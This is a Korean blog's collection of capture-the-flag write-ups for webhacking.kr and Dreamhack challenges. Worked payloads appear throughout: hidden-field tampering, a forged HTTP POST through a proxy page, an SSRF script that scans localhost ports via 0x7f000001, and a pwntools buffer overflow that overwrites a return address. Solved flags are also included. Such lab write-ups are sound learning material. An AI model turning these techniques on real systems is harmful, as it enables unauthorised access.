페이지 소스 코드를 보면 answer의 type이 hidden이다. 사용자 모르게 넘긴다는 것이다. 바로 위의 Burp Suite에서 answer에서 볼 수 있듯이 우린 입력한 적 없지만 우리 모르게 전달되었다. answer 인자가 수상하다.

id엔 어떤 값을 넣어도 출력만 된다. 따라서 answer의 인자를 Burp Suite를 이용해 조작한다.

풀렸다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-05  (0) 2023.02.18
old-04  (0) 2023.02.18
old-02  (0) 2023.02.06
old-01  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
728x90

proxy란?

서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.

우리가 /socket 페이지를 통해 /admin 페이지와 통신을 할 수 있기에 proxy 문제라고 명명한거 같다.

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)

app.run(host='0.0.0.0', port=8000)

/socket 페이지에서 host에 127.0.0.1, port에 8000을 입력하고 현재 실행중인 서버의 /admin 페이지에 데이터를 전송할 수 있다. host에 127.0.0.1을 입력하는 이유는 login 함수에 s.connect((host,port))에 있듯이 서버 자신에게 연결하는 것이다. 또한 서버가 8000번 포트에서 실행되고 있기에 port도 8000을 입력하는 것이다. 이어서 s.sendall(data)를 통해 Data에 입력한 값을 보내는데 /admin 페이지는 POST 방식으로 입력을 받기에 이때 POST 형식의 HTTP 메시지를 입력하는 것이다.

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

Data 전체 내용은 다음과 같다.

POST /admin HTTP/1.1
User-Agent: Admin Browser
DreamhackUser: admin
Cookie:admin=true
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

userid=admin

 

remote_addr 이 127.0.0.1이어야 하는데 접속 ip가 127.0.0.1 이어야한다. 이건 이 서버를 실행한 admin만이 가능하다. admin이 /socket 페이지에서 login 함수를 통해 s.connect()를 실행한다면 remote_addr은 127.0.0.1이 된다.

헤더의 User-Agent 가 Admin Browser이 되어야 한다.

헤더의 DreamhackUser이 admin이 되어야 한다.

cookie의 admin에 해당하는 값이 true이어야 한다.

post로 보내는 데이터의 userid가 admin이어야 한다.

그리고 POST 방식으로 보낼 땐 Content-Type와 Content-Length가 필요하다.

application/x-www-form-urlencoded는 보내는 데이터를 URL 인코딩 후에 웹 서버로 보내는 방식이다. 데이터를 key=value&key=value 형식으로 표현한다. 현재 userid=admin으로 보내고 있다.

Content-Length는 데이터의 길이이다. userid=admin의 길이는 12다.

참고로 헤더의 끝엔 엔터가 두번 필요하다. 즉 헤더와 데이터 사이에 빈 줄이 하나 필요하다.
이건 HTTP POST 방식의 약속이다.

이 모든건 /socket 페이지에서 아무 값이나 넣고 전송 후 Burp Suite로 메시지를 잡아서 들여다보면 직접 볼 수 있다.

입력값을 보낸 후 결과값은 다음과 같다.

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 36
Server: Werkzeug/1.0.1 Python/3.8.2
Date: Wed, 15 Feb 2023 07:57:59 GMT

DH{9bb7177b6267ff7288e24e06d8dd6df5}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

ex-reg-ex  (0) 2023.05.25
php-1  (0) 2023.02.25
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
728x90

SSRF란?

서버 측에서 공격자에 의해 위조된 HTTP 요청을 보내 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

코드를 보면 admin의 서버는 8000번 포트를 열고 모든 ip의 접속을 허용한다. 그리고 127.0.0.1 주소에 1500~1800 중 임의의 포트로 local_server를 실행한다.

입력값을 조작하여 admin이 로컬 서버에 요청을 보내도록 해야한다. 우선 로컬 서버의 포트를 알아내야한다.

import requests
 
url= "http://host3.dreamhack.games:20197/img_viewer"
for i in range(1500,1801):
   response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/app/flag.txt'})
   if 'iVBOR' not in response.text:
       print(i)
       break

url인자는 http://0x7f000001:포트번호/app/flag.txt 형식이다. 이렇게 넣으면 image_viewer 함수에서 POST 방식의 조건문에 들어가서 if, elif 문을 건너 뛰게 된다. 바로 try 문이 실행되며 입력한 url로 get 방식의 요청을 보내게 된다.

0x7f000001 url 상에서 127.0.0.1과 동일하다. 0x7f000001을 1바이트씩 잘라보면 0x7f, 0x00, 0x00, 0x01이다.

ivBOR은 Not Found X 이미지에 대해 base64 인코딩, utf-8 디코딩 한 값이다. image_viewer 함수에 나와있다. 포트번호를 임의로 넣고 url을 전송해보면 Not Found X를 볼 수 있고, 페이지 소스 보기를 통해 iVBOR을 찾을 수 있다. 포트번호를 맞게 넣는다면 Not Found X가 안 나올 것이기에 이를 이용하였다.

<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmls

코드를 실행하니 1531 포트라는 것을 알았다.

<img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"/>

url을 전송하니 base64 인코딩, utf-8 디코딩된 값(REh ~~~)이 나온다.

온라인에 제공되는 base64 디코더를 이용한다.

https://www.convertstring.com/ko/EncodeDecode/Base64Decode

 

Base64로 디코딩 - 온라인 Base64로 디코더

당신의 Base64로 여기에 텍스트를 디코딩 복사 파일로 디코딩 Base64로 다운로드 :

www.convertstring.com

FLAG가 나온다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

php-1  (0) 2023.02.25
proxy-1  (0) 2023.02.15
Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
728x90

버퍼오버플로우 문제다.

조건에 NX 비트가 설정되어 있다.

NX 비트는 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다. 스택에서 쉘 코드를 저장 후 리턴하는 방식으론 명령을 실행할 수 없다.

read_flag 함수를 호출하면 system("cat /flag") 명령을 수행하기에 flag를 볼 수 있다. 따라서 read_flag 함수의 주소로 리턴주소를 덮어쓰면 된다. gdb로 찾은 결과 read_flag 함수의 주소는 0x80485b9이다.

main 함수 어셈블리 코드는 다음과 같다.

스택의 구조는 다음과 같음을 알 수 있다.

buf ebp retn

gets 함수는 버퍼오버플로우 취약점이 있다. 입력값의 크기에 제한이 없다.

따라서 128 bytes(buf) + 4 bytes(ebp)를 dummy로 채우고 retn주소에 \xb9\x85\x04\x08을 넣음으로써 payload를 완성한다.

from pwn import *

p=remote('host3.dreamhack.games',17136)

payload= b'A'*132 + p32(0x80485b9)

p.send(payload)

p.interactive()

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_000  (0) 2023.02.14
welcome  (0) 2023.02.12

+ Recent posts